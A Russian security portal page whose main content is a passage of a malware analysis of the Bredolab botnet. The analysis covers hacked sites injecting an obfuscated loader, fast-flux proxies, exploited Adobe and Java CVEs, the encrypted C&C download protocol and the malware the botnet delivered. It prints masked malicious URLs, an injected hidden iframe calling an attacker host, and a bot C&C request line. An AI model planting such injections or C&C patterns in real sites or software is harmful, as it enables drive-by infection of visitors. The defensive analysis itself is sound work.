ГлавнаяНовостиСтатьиКаталогВендорыСтандартыОбучениеКонтакты  +7 (495) 231-4831    © 


[ Список статей ] ...


С-Терра СиЭсПи. Защита удаленного доступа. Доверенный сеанс связи

CNews. Fortinet включает защиту уровней доступа в систему обеспечения ИБ

CNews. ИТ-подразделениям всё труднее контролировать корпоративные данные в «облаке»

Jammer.ru. Apple следит за своими поль-зователями через Yosemite

Lenta.ru. Разоблачение «Корпорации добра»

Securelist. Доставка от спамеров: опасность гарантирована

Lenta.ru. Интернет-Мерфи

3DNews. Сноуден как повод

Компьютерра. Plug&Pray: скрытая атака через USB

SecurityLab. Как я взломал роутер

Securelist. Дыры в защите корпоративной сети: облачные сервисы

Андрей Козенко, Султан Сулейманов. «Не понимают, как работает интернет»

Евгений Золотов. Windows 8.1: ставка на PC (а PC харкает кровью)

Евгений Царев. Впечатление от PHDays 2013 или кто заказчик кибербезопасности в России?

Олег Парамонов. Десять страхов: крах интернета, Big Data, утрата знаний и другие вещи, которые пугают учёных и футурологов

Brian Donohue. Альтернативные браузеры с улучшенной защитой

Андрей Васильков. Десять лучших пакетов офисных программ

Securelist. Спам в марте 2013

Бёрд Киви. Специалисты предупреждают...

Андрей Шуклин. Big Data: новый рынок, новые перспективы

Luis Corrons. Twitter, Facebook, Apple, Microsoft… кто следующий?

Елена Гореткина. Роль ИТ в повышении конкурентоспособности российских университетов

Сергей Бобровский. Кому сегодня выгодна борьба с пиратством и кто в нём виноват?

Алексей Лукацкий. 1 сентября в отрасли ИБ может наступить коллапс...

Олег Парамонов. Десять перспективных технологий, о которых через несколько лет узнают все

Михаил Емельянников. СМС-оповещения о движении средств по счету: всегда ли это безопасно

Евгений Золотов. Мрачные итоги Pwn2Own: почему браузеры так легко взломать и почему линуксоидам можно волноваться меньше?

xakep.ru. Криминалистический подход к анализу временных атрибутов файлов в операционной системе семейства Microsoft Windows и файловой системе NTFS

Securelist. Спам в январе 2013

Pandalabs. По данным Pandalabs, в 2012 году была инфицирована треть мирового числа компьютеров

Евгений Золотов. Цифровые теракты: страшная сказка становится былью

Leyre. Безопасный Интернет-серфинг

Лаборатория Касперского. Операция 'Red October' — обширная сеть кибершпионажа против дипломатических и государственных структур

Юрий Михайлов. Пять древних поисковиков, которые не перевернули мир (не считая Lycos)

Алексей Лукацкий. ИБ в год Змеи. Прогнозы и перспективы

Panda Security. Уязвимости будут основной целью киберпреступников в 2013

Лаборатория Касперского. Дед Мороз:Мошенник или волшебник?

Vision 2030. Информационная безопасность в 2030 году: прежними останутся только люди

Андрей Колесов. 2012-й — юбилейный год отечественного ИТ-рынка

PC-Week. Обновление до Windows 8: ответы на наиболее часто задаваемые вопросы

Лаборатория Касперского. Факты года: TOP 5 ужасов Рунета

CRN. 10 важнейших событий 2012 года в сфере безопасности

Емельянников M.. Панегирик выставочному бизнесу [в области информационной безопасности]

Черевко С.А.. Аспекты и перспективы развития информационной безопасности мобильных устройств

Uncr0wneD. Крэкинг: практика взлома и теория защиты

3dnews. Вы не любите одноразовые пароли? Тогда мы идём к вам!

Luis Corrons. Правда ли, что там опубликованы мои откровенные фотки?..

Популярная механика. Как убить интернет

Vasilis Pappas, Michalis Polychronakis, Angelos D. Keromytis. Устранение гаджетов: противодействие возвратно-ориентированному программированию путем рандомизации кода на месте

Специалист «Лаборатории Касперского». miniFlame, он же SPE: «Элвис и его друзья»

Steve Durbin. Большие возможности — большие риски

Л.Бесцветный. Три дня InfoSecurity Russia глазами обычного человека

Мария Наместникова. Спам в августе 2012 года

Исследовательский центр "Лаборатории Касперского" (GReAT). Полный анализ командных серверов Flame

AV-Comparatives. AV-Comparatives Июль 2012: Тестирование проактивной защиты антивирусов

Ana Etxebarria. Интернет-груминг: орудие педофилов

Лукацкий Алексей. Какой была безопасность в 90-х годах?

Юрий Наместников. География киберпреступлений. Западная Европа и Северная Америка

Роб Шапланд. Методы защиты от brute-force login attack

Евгений Касперский. Что в виндовсе тебе моём?

SecurityLab. Эксперты: Малые и средние компании под угрозой хакерских атак

Доктор Веб. Обзор вирусной активности в августе 2012 года: растущие ботнеты, уязвимость Java и новые угрозы для Android

Panda Security. Подростковый секстинг: бегущие по лезвию

Дарья Гудкова и Мария Наместникова. Спам во втором квартале 2012

Евгений Касперский. Сейф для денег

PandaLabs. Ежеквартальный отчет PandaLabs

Юрий Наместников. Развитие информационных угроз во втором квартале 2012 года

Наталья Анищук. Защита от DDoS-атак: поле для творчества и фантазии

Ной Шахтман. Парадокс Евгения Касперского

WhatsBetter.ru. Что лучше: Windows 7, Vista или XP?

WhatsBetter.ru. Какой антивирус лучше?

Илья Шабанов. Названы самые комфортные в работе антивирусы

Мария «Mifrill» Нефедова. Облава: о том, как спецслужбы ловят дропов, и не только

Алексей Кадиев. Ботнет Bredolab. Конец истории?

Юрий Ильин. «Добровольные» DDoS-атаки: комментарии экспертов

Александр Панасенко. Угрозы в сфере информационной безопасности: итоги 2010 и прогнозы на будущее

Берд Киви. За кулисами кибервойны

Берд Киви. Шифровальщик устал...

Chad Perrin. Эффективное уничтожение данных на жестких дисках и других накопителях

Н.Н. Федотов. Риски системного администратора: семь и еще один способ подвести сисадмина под монастырь

Берд Киви. Ближе к железу

Microsoft TechNet. Десять непреложных законов безопасности

Анатолий Темкин. Как карта ляжет

Андрей Сидельников. Правообладатели не придумали, как делить болваночный сбор

Антон Носик. Лохотрон в зоне .рф

Максим Букин. Лжевирусы атакуют

habr.ru. Взгляд на современные системы защиты от спама веб-форм

Кристиан Функ. Мошенничество в онлайн-играх: развитие нелегальной игровой экономики

Роман Гольд. Stuxnet: война 2.0

Вячеслав Закоржевский. Лазутчики киберкриминала

Cio.com (перевод — Елена Фирсова). Самые опасные работы в области технологий

Берд Киви. Боевой червь Stuxnet

Юрий Машевский. Антивирусный прогноз погоды: облачно

xakep.ru. Как найти украденный ноутбук?

Евгений Асеев. Небезопасный интернет

Курт Баумгартнер. Фальшивые антивирусы: актуальные тенденции

Chad Perrin. Новый взгляд на безопасность Windows: побудит ли решение Google отказаться от продуктов Microsoft и другие компании?

Максим Букин. Безопасность виртуальных платежей

Наталья Касперская. Intel купил McAfee

Виталий Краснов. Хакеры атакуют: как уберечь DNS-сервер

Вадим Стеркин. Так ли страшен контроль учетных записей

Берд Киви. В постели со шпионами

Юрий Ильин. Zeus: вирус, который грабит банки

Виталий Краснов. Гонка вооружений антиспама нарастает

Валерий Марчук. Еще один 0-day в Microsoft Windows или Stuxnet атакует

Владислав Пономарев. Троянская война

Алехандро Мартинез-Кабрера. Стереть себя из Интернета невозможно

Ника Парамонова. Эпоха Windows XP закончилась

Владимир Жилинский. Аппаратные кейлоггеры

Берд Киви. Конфликт криптографии и бюрократии

Берд Киви. Человек против обмана

Мартин Пранкевич. На коротком поводке: ограничиваем пользователей, выслеживаем нарушителей и наводим порядок в локальной сети

Мэтью Саррел. Главные на данный момент угрозы безопасности

Татьяна Никитина. ТОР10 киберпреступлений, в которых Запад отыскал «российский след»

Берд Киви. Безмолвный очевидец

Наталья Касперская. Нужен ли пользователю интернет-паспорт?

Михаил Емельянников. Как защищать персональные данные в интернете

lifehacker.com. Как отличить одно вредоносное ПО от другого

Максим Букин. Как защититься от мобильных мошенников

habr.ru. Взлом сайта: простые советы по безопасности

Виталий Краснов. Бизнес под ударом: веб-приложения остаются «дырявыми»

Дарья Гудкова. Спам и закон

Николай Двас. Запад обвинил Россию в развязывании кибервойн

habr.ru. Узнаем пароли пользователей 1С

Анна Володина. Спам-реклама: дешево и эффективно?

arstechnica.com. Офисный копир — еще одна брешь в безопасности?

mail.ru. 10 самых опасных вирусов в истории Интернета

habr.ru. Ваш автомобиль в недалеком будущем может быть запросто взломан хакерами

Валерий Васильев. Текущее состояние ландшафта кибер-преступности

Артур Лоянич. Как украсть чужой пароль

habr.ru. Банкоматных вирусов пост

Андрей Сидельников. Цензура интернет-трафика становится обычной практикой

Берд Киви. Шпион в кармане

Юрий Машевский. CrimeWare: новый виток противостояния

THG.ru. Symantec: кризис киберпреступности не помеха

Георг Вишерски. Опасности на пути пользователей социальных сетей

Дмитрий Тараканов. За кем охотится ZeuS

Ольга Зайцева. Dr.Web 6.0: ищем изменения

Славик Маркович. Пять главных тенденций в области защиты данных в 2010 году

Дэвид Эмм. Как залатать человеческие уязвимости?

Максим Букин. «Левые» контракты и ошибочные счета

Валерий Васильев. Весна 2010: кибер-преступность и кибер-защита

Олег Зайцев. Интернет магазины — как не стать жертвой мошенников

marcofolio.net. Профилактика SQL-инъекций

Michael Kassner. Свободные адреса IPv4 почти закончились

Владимир Гайкович. Рынок ИБ — это взрослое существо в детской одежде

InfoWatch. Глобальное исследование утечек за 2009 год

habr.ru. Если пришла проверка

Леонид Черняк. Безопасность: облако или болото?

Мария Сысойкина. Internet Explorer 8: Безопасный или неуязвимый?

Александра Бершадская. Биометрическая идентификация: о надежности технологии

Валерий Васильев, Дмитрий Сергеев. Человек — самое слабое звено в ИБ

Иван Шадрин. Корпорации стали уязвимее для хакерских атак

Michael Kassner. Информационная безопасность: что год 2010-й нам готовит?

xakep.ru. 2009: cамые громкие дела ушедшего года

Tom's Hardware Guide. Резервирование и восстановление данных: обзор трёх решений для Windows 7

Игорь Бахарев, Андрей Ковалевский. Торрент потерял только имя

Павел Борисов. Пойман автор порноролика в Москве

Иван Шадрин. Фальшивые антивирусы научились запугивать пользователей

Андрей Крупин. Социальный бэкап

Иван Шадрин. Бизнес уходит в «облака»

Алексей Лукацкий. Информационная безопасность 2010

Андрей Крупин. Ещё раз о защите WiFi-сетей

Raymond.СС. Тестирование антивирусов на быстродействие (Raymond.CC, февраль 2010)

habr.ru. Распространенные заблуждения про банковские карточки

Максим Букин. Монетизация «зловредов»

Андрей Крупин. Киберугрозы: сценарий будущего по версии «Лаборатории Касперского»

Иван Шадрин. От программ-вымогателей можно избавиться вручную

George Kurtz. Операция «Aurora». Удар по Google и прочим

Алексей Алексеев. Как украсть мегабайт

Татьяна Фомичева. Вирус, ложь и видео

winblog.ru. Изучаем скрытые возможности Windows 7

VirusInfo. Кошелек или жизнь: деактивация троянов-вымогателей

Берд Киви. Сюжет из «Плейбоя»

Майор Мышкин. За что могут посадить компьютерщика?

Иван Шадрин. Скорая компьютерная помощь: мошенники по вызову

Андрей Колесов. Антивирусная атака Microsoft

Сергей Яремчук. Новый оборонительный рубеж: обзор популярных систем отражения локальных угроз

Борис Лихтман, Андрей Сидельников. Правительства берут интернет под контроль

Виталий Камлюк. Экосистема ботнетов

Мачей Жарек. %^ef$g73$5r(@&#!! — несколько слов о шифровании и алгоритмах

Андрей Крупин. Безопасность в Windows 7 во всех ракурсах

Дмитрий Копытин. Безопасность при межпроектном взаимодействии

habr.ru. Вы несете деньги в Банк, Банки несут деньги в Bitrix

Андрей Анненков, Ольга Федина. Чужая ОС — потемки, или Где купить XP

Валентин Маков. Сайтокрушение

Mark Russinovich. Миф о дублировании SID компьютера

itsec.ru. SSL-защита ваших данных

Андрей Крупин. Обзор Returnil Virtual System 2010

Лариса Погонина. Скандальное потепление

Андрей Родин. Наилучшая защита беcпроводных сетей

Рик Фэрроу. Переполнение буфера

Берд Киви. Атака c воздуха

Игорь Осколков. Google Chrome OS — это просто, быстро и безопасно!

Вячеслав Закоржевский. Лжеспасатели

katkovonline.com. Ботнет: «был твой — стал мой» или как ботнеты работают

Валерий Васильев. Защита персональных данных накануне 01.01.10

Michael Kassner. Десять способов обнаружения вредоносного ПО

Вадим Стеркин. Управление UAC в Windows 7 и Windows Server 2008 R2

Хайрук Сергей. Проверка на зрелость: сертификация средств антивирусной защиты

Brien Posey. Десять наиболее распространенных проблем, которые можно решить редактированием реестра

Наталья Касперская. Защита от утечек в малом бизнесе — неосвоенный кусок пирога!

SecurityLab.ru. Статистика уязвимостей web-приложений за 2008 год

habr.ru. Способы сокрытия IP-адреса в сети Internet

Дон Рейзингер. 10 аргументов, чтобы остаться на XP до выхода Windows 7 SP1

Николас Колаковски. Windows 7 завершит эпоху Windows XP

Марина Мякишева. Infosecurity 2009: под страхом ФЗ о персональных данных

Алексей Лукацкий. Психология и информационная безопасность

Евгений Зобнин. Устоять любой ценой: методы борьбы с DoS/DDoS-атаками

Дмитрий Чеканов. Режим Windows XP Mode и VirtualBox: когда без XP не обойтись

Кристиан Функ. Ловушки интернета

Игорь Крейн. Бесплатный антивирус Microsoft разгонит платных конкурентов?

Рашид Нургалиев. Электронный патруль

Дмитрий Дурасов. Forefront TMG Beta3: отчет о 3-х месячном тестировании

Джеймс Тернер. Особенности контроля учетных записей Vista

Кеннет Касс. Обратная сторона DLP

Валерий Коржов. Кризис, виртуализация и персональные данные

CNews. Виртуализация: Microsoft готовится к реваншу

Andy Smith. Результаты тестирования: Windows 7 RTM против Vista и XP

Андрей Крупин. Microsoft Security Essentials: антивирус не для всех

Владимир Безмалый. Технологии социальной инженерии

Алексей Стародымов. Возврат денег за ОС: первые результаты

habr.ru. Шнайер о проблеме деидентификации

Влад Чучко. Интервью с Натальей Касперской

Андрей Крупин. Новый подход к защите ПК от Symantec

Степан Ильин. 10 зло-вирусов. Самая нашумевшая малварь за последние 10 лет

Владимир Безмалый. Безопасность мобильных носителей информации

Максим Букин. «Зловреды» для мобильных пользователей

Валерий Васильев. Закон о персональных данных: «градус» обсуждения растет

Ольга Зайцева. Антивирусная защита: нужен второй эшелон

Владимир Безмалый. Автозагрузка в Windows 7

webplanet.ru. МГУ vs DDoS: «Мы даем защиту. Бесплатно.»

Дамир Диздаревич. Механизм хранения имен пользователей и паролей

Владимир Безмалый. BitLocker в Windows 7

Андрей Крупин. Kaspersky Internet Security 2010: территория безопасности

Игорь Крейн, Владислав Михеев. «ВКонтакте» с фишерами и без

Ryan Singel. Google против Microsoft

Дмитрий Евтеев. Анализ проблем парольной защиты в российских компаниях

Андрей Крупин. Первый взгляд на Microsoft Security Essentials

Ольга Зайцева. Нужны ли антивирусы пользователям Mac OS?

Алексей Стародымов, Марина Пелепец. Спам в ICQ: механизмы и способы защиты

Дарья Гудкова. Спамеры Рунета

Андрей Крупин. Microsoft Office 2010: первые впечатления

Вениамин Левцов, Илья Новиков. Защита персональных данных: откладывать больше нельзя

Debra Littlejohn Shinder. Десять причин, по которым Vista-ненавистникам может понравиться Windows 7

Джон Грин. Защита на последнем рубеже (сравнение корпоративных антивирусов)

Артем Рябинков. Усиливаем аутентификацию или зачем нужны одноразовые пароли

Кирилл Алехин. 15 вопросов про спам

xakep.ru. Hyper-V: технология виртуализации для Windows Server 2008

Андрей Колесов. О Cloud Computing замолвите слово

Алексей Стародымов, Марина Пелепец. Вирусы в банкоматах: заключение

Андрей Колесов. О порядке смены ОС

Андрей Крупин. Тонкая настройка Internet Explorer 8

InfoSecurity.ru. Боевые заслуги червя Conficker

Группа информационной безопасности Group-IB. Краткий аналитический вопросник по бот-сетям в РФ 2009 год

Аналитический центр InfoWatch. Глобальное исследование утечек 2008

Владимир Безмалый. Новые технологии, старые проблемы

Евгений Шахов. Круговая защита вашего ПК (сравнение продуктов Internet Security 2009)

John Markoff. Нам нужен новый Интернет?

Питер Брайт, arstechnica.com (перевод – xakep.ru). Windows 7: бета-экскурсия

Данил Анисимов. Утечки данных: текущий год уже обогнал прошедший?

Ольга Федина. Пароль «123456» знаешь? Проходи!

Вадим Ференец. Новый альянс на рынке ИБ делает первые шаги

Андрей Крупин. Секреты Windows 7 Beta

SecurityLab. Тенденции ИБ в условиях кризиса

Владимир Ульянов. Итоги 2008: самые необычные утечки

Марина Мякишева. Кибервойна: вирусные аналитики подводят итоги года

Сергей Гордейчик. Оценка рисков использования Web-приложений

Владимир Ульянов. Персональные данные на практике остаются беззащитными (на основании исследования «Персональные данные в России 2008»)

Денис Зенкин. Уничтожение данных: скрытая угроза растет

Chad Perrin. Десять самых распространенных ошибок в сфере компьютерной безопасности, которые ни в коем случае нельзя совершать

SecurityLab. Международная статистика уязвимостей WEB

Владимир Ульянов. Инсайд 2008: Самые громкие и самые глупые утечки

Прокофьев Никита. Обзор Kaspersky Internet Security 2009

SecurityLab. Сравнение программных пакетов Internet Security – 2008

Интервью с Владимиром Мамыкиным. Информационная безопасность Microsoft

Tom's Hardware Guide. Сравнение программ резервного копирования для рабочих станций

Владимир Безмалый. Контроль использования USB-накопителей в Windows Server 2008

Жан де Клерк. Изоляция угроз из Internet в Windows Server 2008 и Vista

Михаил Карпов. Windows 7: первые сведения о новой системе

Иван Стогов. Сравнительный анализ антивирусного ПО

Дмитрий Антиномов. Защитное ПО в России: секретно ли секретное?

Законодательство. Федеральный закон Российской Федерации № 152-ФЗ «О персональных данных»

Законодательство. Постановление Правительства РФ от 17 ноября 2007 г. N 781 «Об утверждении Положения об обеспечении безопасности персональных данных при их обработке в информационных системах персональных данных»

Winblog. Защита файлов паролем

Сабадаш Даниил. Обзор Nero 8

Дмитрий Соколов. Подпись для электронного документа

Денис Михайлов. Взлом и защита учетной записи Windows XP

Андрей Письменный. Тестирование антивирусов

Елена Панасенко. Сменные носители – главное орудие инсайдеров

Михаил Ратнер. Побеждаем вирусы в Vista без использования антивирусных программ

Николай Гребенников. Методы защиты конфиденциальных данных в современных решениях класса Security Suite

Николай Полевой. Шпионит ли Microsoft за обладателями Vista?

Григорий Рудницкий. Kaspersky Internet Security 7.0: первый взгляд

Исследование компании InfoWatch и портала Zoom.CNews. Безопасность мобильных устройств 2007

Николай Гребенников. Клавиатурные шпионы. Часть II. Варианты реализации кейлоггеров в ОС Windows

Николай Гребенников. Клавиатурные шпионы. Принципы работы и методы обнаружения

Виталий Денисов. Опасность безопасных соединений

Андрей Шипилов. «Битрикс» сливается с «1С»

Александр Астахов. Борьба с инсайдерами: подбираем амуницию

InfoWatch. Утечки 2006 - глобальное исследование от InfoWatch

Наталья Касперская. Безопасность от Microsoft: шаг к обновленному миру?

Александр Астахов. Как построить систему управления информационной безопасностью

Константин Черезов. Проблема внутри? Решение там же!

Михаил Пышкин. Международный опыт управления информационной безопасностью для российских компаний

Юрий Машевский. Кража собственности в компьютерных сетях

Интервью с Сергеем Груздевым. Сегмент AAA в России является самым быстрорастущим в ИБ

Алексей Сабанов. Обзор технологий идентификации и аутентификации

Алексей Сабанов, Антон Крячков, Константин Демченко, Сергей Белов. Как управлять закрытыми ключами

Александр Астахов. История стандарта BS 7799

Марат Давлетханов. Secret Disk для защиты корпоративных данных

Ника Комарова. Как защитить компанию от кражи баз данных

Марат Давлетханов. Концепция одноразовых паролей в системе аутентификации

Алексей Доля. Защита конфиденциальных данных на ноутбуках и КПК

Rainbow Technologies. UTM-устройства на страже компьютерной сети

Rainbow Technologies. Атаки на сеть через переполнение буфера – технологии и способы борьбы

Алексей Лукацкий. Предотвращение сетевых атак: технологии и решения

Rainbow Technologies. Технология Precise BioMatch™ - объединяя лучшее в биометрической аутентификации

Опрос. Хакеры и сетевые вандалы: разница в мотивации

Обзор. Безопасность популярных операционных систем в 2006 г.

Полезные советы. Кардинг или безналичный обман

Исследование. Социокультурный аспект внедрения некоторых категорий средств защиты в организациях с преимущественно женским контингентом

Обзор. Развитие вредоносных программ: уязвимости в MacOS X, 2005 — 2006 год

Евгений Касперский. Прогнозы изменений в антивирусной индустрии

Олег Гудилин. Проактивность как средство борьбы с вирусами

Виктор Дронов. Портрет заказчика спамерских услуг в России

Пол Даклин. Простые советы по более разумному выбору и использованию паролей

Круглый стол. Источник со стороны

СофтПоинт. Проблемы безопасности данных в системе 1С Предприятие 7.7 и MSSQL 2000

Алексей Лукацкий. Размышления о Web-студиях и защищенном сайте

Аналитика. Почему ВУЗ не способен подготовить специалиста по безопасности

Законодательство. Правительство РФ утвердило "Положение о лицензировании деятельности по технической защите конфиденциальной информации"

 Алексей Кадиев 

Ботнет Bredolab. Конец истории?


  25 октября 2010 года отдел по борьбе с киберпреступлениями полиции Нидерландов объявил об обезвреживании 143 контролирующих серверов ботнета Bredolab. На следующий день в Международном аэропорту Еревана был задержан один из владельцев отключенной зомби-сети. Возможно, для ботнета Bredolab все кончено, но технологии, использованные для его создания, к сожалению, могут послужить для построения других ботнетов.

  Краткое содержание:

Немного предыстории

Особенности создания ботнета Bredolab

Вредоносные программы семейства Backdoor.Win32.Bredolab известны по крайней мере с середины 2008 года. Основной задачей Bredolab является загрузка на зараженный компьютер других вредоносных программ. Система управления загрузками, включающая в себя лоадер (Backdoor.Win32.Bredolab) и панель администрирования, предлагалась для продажи на хакерских форумах. Именно это программное обеспечение легло в основу ботнета Bredolab, появившегося в середине 2009 года и насчитывающего, по сведениям голландской полиции, около 30 миллионов компьютеров пользователей из разных стран мира.

Основная особенность ботнета состояла в способе его формирования. Для распространения вредоносной программы-бота использовались взломанные легитимные веб-сайты, посетители которых перенаправлялись на вредоносные ресурсы, с которых и происходило заражение пользовательских компьютеров Backdoor.Win32.Bredolab. И все это в автоматическом режиме.

Взломанные сайты

В самом начале существования ботнета на страницы взломанных веб-сайтов вставлялся скрытый тег Iframe со ссылкой на вредоносный ресурс. В конце 2009 года этот Iframe был заменен на обфусцированный JavaScript-код — скриптовый загрузчик Trojan-Downloader.JS.Pegel, при выполнении которого браузер расшифровывал и вставлял в HTML-страницу тег script со ссылкой на вредоносный ресурс. Задачей Pegel являлась загрузка на компьютер жертвы эксплойтов, которые в свою очередь загружали Bredolab. С середины лета 2010 года злоумышленники вновь стали использовать Iframe.

Отметим, что схема распространения Bredolab была похожа на ту, которую использовали создатели ботнета Gumblar, а Pegel по способу обфускации — на скриптовый загрузчик Gumblar.

Угроза носила глобальный характер. Веб-ресурсы, содержащие вредоносный код, были обнаружены в разных странах.

Распределение зараженных Trojan-Downloader.JS.Pegel веб-ресурсов по странам:
январь - октябрь 2010 г.

Риску заражения Bredolab подвергались пользователи многих стран.

Распределение детектирований Backdoor.Win32.Bredolab
на компьютерах пользователей по странам: январь - октябрь 2010 г.

Интернет-форумы запестрели сообщениями о внедренном в веб-страницы легитимных сайтов обфусцированном JavaScript-коде, который перенаправлял пользователей на веб-ресурсы, находящиеся под контролем злоумышленников.

Увеличить рисунок

Пример сообщения на форуме

В начале 2010 года на форумах было много сообщений, подобных приведенному выше. Тогда одним из основных отличительных признаков Pegel являлись комментарии /*GNU GPL*/, /*LGPL*/, /*CODE1*/ или /*Exception*/, размещенные в начале вредоносного JavaScript-кода. Код зараженной страницывыглядел примерно так:

Увеличить рисунок

Пример зараженной легитимной веб-страницы

В дальнейшем комментарий из кода скрипта исчез, а обфускация становилась все более сложной:

Увеличить рисунок

Пример зараженной страницы, с более сложной обфускацией вредоносного JavaScript-кода

Особого внимания заслуживает внешний вид ссылок на вредоносные ресурсы, используемых в течение нескольких первых месяцев с момента появления Pegel. Доменная часть и путь к вредоносному скрипту в этих ссылках состояли из известных доменных имен, следующих друг за другом, например,

hxxp://twitpic-com.fastclick.com.shinobi-jp.bestb***site.ru:8080/google.com/google.com/novoteka.ru/vagos.es/radikal.ru/
hxxp://google-com-sa.scribd.com.google-hr. bestb***site.ru:8080/bu520.com/bu520.com/google.com/56.com/ups.com/
hxxp://staples-com.toysrus.com.ngoisao-net.cars***net.ru:8080/google.com/google.com/livedoor.biz/atwiki.jp/torrents.ru/

Домены второго уровня состояли из идущих подряд двух-трех английских слов, друг с другом обычно не связанных. Создание вредоносных ссылок, похожих на адреса популярных веб-ресурсов, — один из излюбленных методов социальной инженерии, применяемых злоумышленниками для того, чтобы у пользователей возникало как можно меньше подозрений.

Позже доменная часть ссылок стала состоять из доменов второго уровня:

hxxp://help***ecare.at:8080/vkontakte-ru/google.com/chinahr.com.php
hxxp:// jui***ile.ru:8080/sify-com/google.com/last.fm.php
hxxp:// pass***tblues.ru:8080/google.com/kijiji.ca/pornhub.com.php
hxxp:// best***kstar.info:8080/google.com/travian.com/youjizz.com.php

Еще позже из ссылок исчезли длинные пути, путь поменялся на index.php.

Fast-flux сеть

Домены, содержащиеся во вредоносных ссылках, регистрировались в нескольких доменных зонах: ru, info, at, com. Каждый домен располагался на пяти IP-адресах, и, в свою очередь, каждый IP-адрес был связан со множеством вредоносных доменов.

Соответствие IP-адресов вредоносным доменам

Количество IP-адресов колебалось от 20 до 40. С течением времени какие-то адреса выбывали, новые адреса добавлялись. Периодически IP-адреса, связанные с определенным доменом, менялись.

A-записи в разные моменты времени

Оказалось, что все используемые IP-адреса принадлежали выделенным серверам (или виртуальным выделенным серверам) разных хостинг-провайдеров. Кроме того, дальнейший анализ показал, что на порту 80 на многих таких серверах размещались и легальные веб-сайты, никак не связанные с криминалом. Подобная картина наталкивает на мысль о том, что серверы, на которых располагались вредоносные домены, возможно, были каким-то образом взломаны. Часть зарегистрированных злоумышленниками доменов использовалась для DNS-сервисов, поднятых на тех же взломанных серверах, более того, NS-записи, как и A-записи, также периодически изменялись.

NS-записи в разные моменты времени

Описанное выше очень напоминает работу fast-flux сетей, а конкретней — двухпоточной fast-flux сети, в которой меняются еще и адреса DNS-серверов.

Еще один интересный момент: в абсолютном большинстве случаев все вредоносные ссылки указывали на порт 8080, а в HTTP-заголовках ответа сервера в поле Server значилось nginx. Nginx — это весьма популярный HTTP-сервер, который часто используется в качестве обратного прокси. Пользователи, пройдя по вредоносной ссылке, попадали на прокси-серверы, которые перенаправляли запрос к реальному центру управления ботнетом.

Fast-flux сеть, состоящая из прокси-серверов, помогает скрывать командный центр ботнета от специалистов по компьютерной безопасности. Все запросы на загрузку вредоносного кода, исходящие от вредоносного JavaScript-кода и эксплойтов, а также запросы Bredolab к командному центру проходили через прокси-серверы этой fast-flux сети.

Большинство доменов fast-flux сети регистрировались самими злоумышленниками. Однако в начале лета 2010 года появились домены, представляющие собой поддомены третьего уровня:

kollinsoy.skyef***on.com
aospfpgy.dogpl***tation.com
oployau.fancou***logger.com
hosotpoyu.credi***brary.com

В то время как домены третьего уровня указывали на прокси-серверы fast-flux сети ботнета Bredolab, на доменах второго уровня из этих ссылок располагались легитимные сайты. IP-адреса доменов третьего и второго уровня различались. Каким-то образом (через взлом пользовательских учетных записей или как-то иначе) злоумышленники получили возможность управлять настройками DNS этих сайтов.

Заражение компьютеров пользователей

После того как браузер пользователя с помощью Pegel или с помощью Iframe перенаправлялся на вредоносный сайт, с этого сайта скачивался JavaScript-код:

Увеличить рисунок

который после деобфускации выглядит так:

Увеличить рисунок

Отработав, JavaScript-код внедрял в страницу следующий HTML-код:

<div id="DIV">

<iframe src="http://ma***gh.com:8080/index.php?Mvplkcm435j=11&pid=1" width="1" frameborder="0" height="1"></iframe>

</div>

По ссылке скачивался еще один JavaScript-код.

Увеличить рисунок

Его фрагмент после деобфускации выглядит так:

Увеличить рисунок

Этот код перенаправлял запрос пользователя в браузере на эксплойты.

Эксплойты использовали уязвимости: в Adobe Acrobat — в функциях util.printf (CVE-2008-2992), Collab.collectEmailInfo (CVE-2008-0655), Collab.getIcon (CVE-2009-0927), media.newPlayer (CVE-2009-4324); в виртуальной Java-машине (CVE-2010-0886) и в MDAC RDS.Dataspace ActiveX компоненте (CVE-2006-0003).

Фрагмент деобфусцированного JavaScript-кода в pdf-эксплойте

Java-эксплойт загружался в два этапа: сначала скачивалась страница Applet1.html, содержащая тег <applet> с именами jar-файлов. Затем загружались сами эксплойты.

Увеличить рисунок

HTML-страница Applet1.html, загружающая java-эксплойт

Отработав, эксплойты загружали на компьютер жертвы и запускали вредоносную программу Backdoor.Win32.Bredolab, основным предназначением которой является загрузка и запуск другого вредоносного ПО.

Этапы заражения пользовательского компьютера

Ботнет в действии

Запустившись на компьютере жертвы, для загрузки дополнительных вредоносных программ бот отправляет своему командному центру запрос следующего вида:

http://ba***il.ru:8080/new/controller.php?action=bot&entity_list=&first=1&rnd=981633&id=1&guid=3676040431.

В теле ответа, приходящего с командного центра ботнета, находятся зашифрованные исполняемые файлы (как правило, 3-4 файла), идущие друг за другом.

Ответ командного центра, содержащий зашифрованное вредоносное ПО

В заголовке ответа содержится поле Entity-Info, состоящее из списка элементов, разделенных точкой с запятой. Каждый элемент описывает один исполняемый файл, находящийся в теле ответа. Элемент разделен двоеточиями на числовые поля, например второе поле каждого элемента содержит размер соответствующего исполняемого файла. Таким образом, можно определить, где заканчивается один файл и начинается следующий.

В заголовке ответа в поле Magic-Number содержится ключ для расшифровки тела ответа. Он состоит из чисел, разделенных символом ‘|’. Первое число является длиной ключа, второе — обозначает алгоритм шифрования, цифра 1 — это обычный XOR; оставшаяся часть поля представляет собой сам ключ расшифровки. Здесь необходимо отметить, что и вредоносный JavaScript-код, и эксплойты, и Bredolab, и другие вредоносные программы, устанавливаемые Bredolab на компьютер жертвы, загружались с одних и тех же доменов, входящих в fast-flux сеть ботнета Bredolab.

Bredolab загружал на компьютер жертвы довольно широкий спектр вредоносного ПО:

Trojan-Spy.Win32.Zbot,
Trojan-Spy.Win32.SpyEyes,
Trojan-Spy.Win32.BZub,
Backdoor.Win32.HareBot,
Backdoor.Win32.Blakken,
Backdoor.Win32.Shiz,
Trojan-Dropper.Win32.TDSS,
Trojan-Ransom.Win32.PinkBlocker,
Trojan.Win32.Jorik.Oficla.

И список этот далеко не полный.

Некоторые из этих вредоносных программ передают в запросах к своим командным центрам параметры, обозначающие идентификационный номер партнера. Например, Backdoor.Win32.Shiz, загруженный Bredolab, передает параметр seller=15, означающий, что он был установлен в систему с помощью Bredolab. Передача таких идентификационных номеров на C&C обычно свидетельствует о том, что вредоносная программа распространяется через партнерки. Это, а также разнообразие софта, загружаемого Bredolab, указывает на то, каким образом владельцы ботнета Bredolab монетизировали свои усилия по созданию ботнета — они зарабатывали на загрузках, то есть принимали заказы от других злоумышленников на загрузку их вредоносного ПО.

Из всего набора загружаемого ПО особого внимания заслуживает Trojan-PSW.Win32.Agent.qgg. Будучи установленным на пользовательской машине, этот троянец пытается найти пароли к ftp-аккаунтам, сохраненные следующими клиентами:

